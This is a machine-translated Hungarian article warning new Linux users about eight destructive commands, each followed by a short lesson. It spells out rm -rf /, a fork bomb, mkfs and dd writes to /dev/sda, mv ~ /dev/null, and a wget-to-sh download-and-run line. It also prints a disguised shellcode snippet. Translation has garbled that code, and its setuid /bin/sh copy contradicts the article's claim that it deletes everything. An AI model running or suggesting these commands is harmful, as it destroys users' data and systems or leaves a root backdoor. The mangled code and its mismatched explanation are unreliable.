8 Halálos parancsok Soha ne fusson Linuxon
A Linux terminál parancsai erőteljesek, és a Linux nem kér megerősítést, ha egy parancsot futtat, amely megszakítja a rendszert. Nem ritka, hogy a trollokat online ajánlják az új Linux felhasználóknak, hogy ezeket a parancsokat viccként futtassák.
A nem futtatható parancsok megismerése segíthet megvédeni a trolloktól, miközben növeli a Linux működésének megértését. Ez nem kimerítő útmutató, és az itt található parancsok többféle módon is remixelhetők.
Ne feledje, hogy ezek közül a parancsok közül sokan csak akkor lesznek veszélyesek, ha előtte vannak sudo az Ubuntu-on - nem fognak másképp működni. Más Linux disztribúcióknál a legtöbb parancsot root-ként kell futtatni.
Képhitel: A Jason Ford-ról remixált koponya és keresztkövek a Twitteren
rm -rf / - Minden törlése!
A parancs rm -rf / törli mindazt, amit lehet, beleértve a merevlemezen tárolt fájlokat és a csatlakoztatott cserélhető adathordozón lévő fájlokat. Ez a parancs érthetőbb, ha bontja:
rm - Távolítsa el a következő fájlokat.
-rf - Futtassa az rm rekurzívan (törölje az összes fájlt és mappát a megadott mappában), és kényszerítse ki az összes fájlt, anélkül, hogy felkérne.
/ - Megmondja az rm-nek, hogy induljon a gyökérkönyvtárban, amely tartalmazza a számítógépen található összes fájlt és az összes csatlakoztatott médiaeszközt, beleértve a távoli fájlmegosztásokat és a cserélhető meghajtókat.
A Linux örömmel engedelmeskedik ennek a parancsnak, és mindent törölni fog, anélkül, hogy megkérdezné, ezért legyen óvatos a használat során! Az rm parancs más veszélyes módon is használható - rm -rf ~ törli az otthoni mappában lévő összes fájlt rm -rf. * törli az összes konfigurációs fájlt.
A lecke: Vigyázz rm -rf.
Rejtett rm -rf /
Íme egy másik kódrészlet, amely az egész weben van:
char esp [] __attribute__ ((szakasz: „. text”))) / * e.s.p
kiadás */
X = x x x x x x x x x x x x x x x x x x x x x
„\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99”
„\ XDF \ X81 \ x68 \ x8d \ X92 \ XDF \ xd2 \ X54 \ x5e \ xf7 \ x16 \ xf7”
„\ X56 \ x04 \ xf7 \ X56 \ X08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ X74 \ X56”
„\ X8d \ X73 \ X08 \ X56 \ X53 \ X54 \ x59 \ xb0 \ 0B \ XCD \ x80 \ x31”
„\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2F \ X62 \ x69”
„\ X6e \ x2F \ X73 \ x68 \ x00 \ X2d értéket kapjuk \ x63 \ x00”
„Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”
Ez az rm -rf / - A parancs végrehajtása ugyanúgy törli a fájlokat, mintha rm -rf /.
A lecke: Ne futtasson furcsa kinézetű, nyilvánvalóan álcázott parancsokat, amelyeket nem értesz.
: () : |: & ;: - villás bomba
A következő sor egyszerű, de veszélyes, bash funkció:
: () : |: & ;:
Ez a rövid vonal meghatározza a héjfüggvényt, amely új példányokat hoz létre. A folyamat folyamatosan ismétlődik, és másolatai folyamatosan replikálódnak, gyorsan átveszik az összes CPU-időt és memóriát. Ez a számítógép fagyását okozhatja. Ez alapvetően egy szolgáltatásmegtagadási támadás.
A lecke: A bash függvények erőteljesek, még nagyon rövidek is.
Képhitel: Dake on Wikimedia Commons
mkfs.ext4 / dev / sda1 - Merevlemez formázása
A mkfs.ext4 / dev / sda1 a parancs egyszerűen érthető:
mkfs ext4 paranccsal - Hozzon létre egy új ext4 fájlrendszert a következő eszközön.
/ Dev / sda1 - Megadja az első merevlemez első partícióját, amely valószínűleg használatban van.
Összességében ez a parancs egyenértékű a c: futási formátummal: a Windows-ban - az első partíción lévő fájlokat törölni fogja, és egy új fájlrendszerrel helyettesíti őket.
Ez a parancs más formában is jöhet - mkfs.ext3 / dev / sdb2 formázza a második merevlemez második partícióját az ext3 fájlrendszerrel.
A lecke: Vigyázni kell, hogy a parancsok közvetlenül a / dev / sd-vel kezdődő merevlemez-eszközökön futnak.
parancs> / dev / sda - Közvetlenül ír egy merevlemezre
A parancs> / dev / sda a vonal hasonlóan működik - parancsot futtat, és a parancs kimenetét közvetlenül az első merevlemezre küldi, az adatokat közvetlenül a merevlemez-meghajtóra írva, és károsítja a fájlrendszert.
parancs - Futtassa a parancsot (bármilyen parancs lehet.)
> - Küldje el a parancs kimenetét a következő helyre.
/ Dev / sda - Írja be a parancs kimenetét közvetlenül a merevlemez eszközre.
A lecke: Mint fent, vigyázz a parancsokra, amelyek merevlemez-eszközöket tartalmaznak a / dev / sd-vel kezdődően.
dd if = / dev / random of = / dev / sda - Junk írása egy merevlemezre
A dd if = / dev / random = / dev / sda A sor egyben törli az egyik merevlemez adatait.
dd - Végezzen alacsony szintű másolást egyik helyről a másikra.
if = / dev / random - Használja a / dev / random (véletlenszerű adatokat) bemenetként - láthat olyan helyeket is, mint a / dev / nulla (nullák).
A = / dev / sda - Kimenet az első merevlemezre, a fájlrendszer véletlenszerű szemétadatokkal való helyettesítése.
A lecke: dd másol adatokat az egyik helyről a másikra, ami veszélyes lehet, ha közvetlenül egy eszközre másol.
Képhitel: Matt Rudge a Flickr-en
mv ~ / dev / null - A Home Directory áthelyezése egy fekete lyukba
/ dev / null egy másik különleges hely - a / dev / null-ra való áthelyezés ugyanaz, mint a megsemmisítése. Gondolj a / dev / null-ra mint egy fekete lyukra. Lényegében, mv ~ / dev / null elküldi az összes személyes fájlt egy fekete lyukba.
mv - Mozgassa a következő fájlt vagy könyvtárat egy másik helyre.
~ - A teljes otthoni mappát képviseli.
/ Dev / null - Mozgassa otthoni mappáját a / dev / null-ra, megsemmisítve az összes fájlt, és törölje az eredeti példányokat.
A lecke: A ~ karakter az otthoni mappát képviseli, és a dolgok mozgatása a / dev / null-ra rombolja őket.
wget http://example.com/something -O - | sh - Letöltések és parancsfájlok futtatása
A fenti sor letölti a szkriptet az internetről, és elküldi azt sh-nek, amely végrehajtja a szkript tartalmát. Ez veszélyes lehet, ha nem biztos benne, hogy mi a szkript, vagy ha nem bízik a forrásban - ne futtasson megbízhatatlan parancsfájlokat.
wget - Letölti a fájlt. (Lehet, hogy a göndör helyett a göndörítés is megjelenik.)
http://example.com/something - Töltse le a fájlt ezen a helyen.
| - Cső (küldje el) a wget parancs kimenetét (a letöltött fájlt) közvetlenül egy másik parancsra.
SH - Küldje el a fájlt a parancsra, amely végrehajtja, ha egy bash parancsfájl.
A lecke: Ne töltsön le és ne futtasson megbízhatatlan parancsfájlokat az internetről, még parancs segítségével is.
Ismerje meg azokat a veszélyes parancsokat, amelyeket az új (és tapasztalt) Linux-felhasználók nem futtatnak? Hagyjon megjegyzést, és ossza meg őket!